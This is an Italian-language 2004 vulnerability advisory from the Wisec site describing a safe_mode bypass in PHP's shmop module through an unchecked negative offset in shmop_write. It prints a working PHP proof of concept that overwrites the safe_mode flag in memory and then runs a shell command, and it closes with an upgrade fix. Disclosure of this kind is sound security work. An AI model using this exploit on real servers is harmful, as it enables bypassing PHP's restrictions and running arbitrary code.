THP Wisec USH DigitalBullets TheHackersPlace network
The WIse SECurity
.italian
.english
Wisec Home SecSearch Projects Papers Security Thoughts
 
News Search on Wisec
Google

Vulnerabilità PHP Bypass del Safe_mode sfruttando shmop - Proof of Concept

Titolo:

Bypass del Safe_mode sfruttando shmop

Autore:

Stefano Di Paola

Date:

December, 19 2004

Vulnerabili:

Modulo shmop dal pacchetto PHP <= 5.0.2

Tipo di Vulnerabilità:

Validazione dell'input - Scrittura in locazioni arbitrarie di memoria

Risorse:

Pubblicato su Bugtraq

Sommario

Il modulo shmop, che viene rilasciato con la distribuzione standard di PHP,
ha una vulnerabilità nella funzione 'shmop_write' durante il controllo dei limiti della variabile 'offset'.
Tale vulnerabilità può permettere di bypassare il safe_mode o di eseguire codice arbitrario con i permessi dell'utente sotto il quale apache (o php) gira.

Descrizione

La funzione PHP_FUNCTION(shmop_write) nel modulo shmop.c
non verifica se la variabile 'offset' è negativa,
risultando così possibile sovrascrivere locazioni arbitrarie di memoria:
 
memcpy(shmop->addr + offset, data, writesize);
Tutto ciò può essere utilizzato per disabilitare il safe_mode.

Segue il codice da utilizzare per verificare questa vulnerabilità.

Probabilmente, per funzionare, ci sarà bisogno di un po' di debugging con gdb,
bisogna infatti trovare l'indirizzo in memoria di core_globals.safe_mode e un po' di
calcoli per trovare la giusta distanza da assegnare alla variabile php '$offset'

Naturalmente shmop.so dovrà essere caricata in PHP come modulo o embedded
nel binario del php.
<?
/*
   Php Safe_mode Bypass Proof of concept.

   Copyright 2004 Stefano Di Paola stefano.dipaola[at]wisec.it

   Disclaimer: The author is not responsible of any damage this script can cause

*/

 $shm_id = shmop_open(0xff2, "c", 0644, 100);
  if (!$shm_id) {
    echo "Couldn't create shared memory segment\n";
    die;
 }

// $data="\x01";
// the new value for safe_mode
 $data="\x00";

// this (-3842685) is my offset to reach core_globals.safe_mode
// taken with gdb. (0x40688d83)
 $offset=-3842685;
// Lets write the new value at our offset.
$shm_bytes_written = shmop_write($shm_id, $data, $offset );
if ($shm_bytes_written != strlen($data)) {
   echo "Couldn't write the entire length of data\n";
}

//Now lets delete the block and close the shared memory segment
if (!shmop_delete($shm_id)) {
   echo "Couldn't mark shared memory block for deletion.";
}
shmop_close($shm_id);

// Let's try if safe mode has been set to off
echo passthru("id");
dl("shmop.so");
?>

Soluzione:

Aggiornare a php to 5.0.3 or 4.3.10 o disabilitare il modulo shmop.

Firenze, Domenica 19 Dicembre 2004

Wisec is brought to you by...

Wisec is written and mantained by Stefano Di Paola.

Wisec uses open standards, including XHTML, CSS2, and XML-RPC.

All Rights Reserved 2004
All hosted messages and metadata are owned by their respective authors.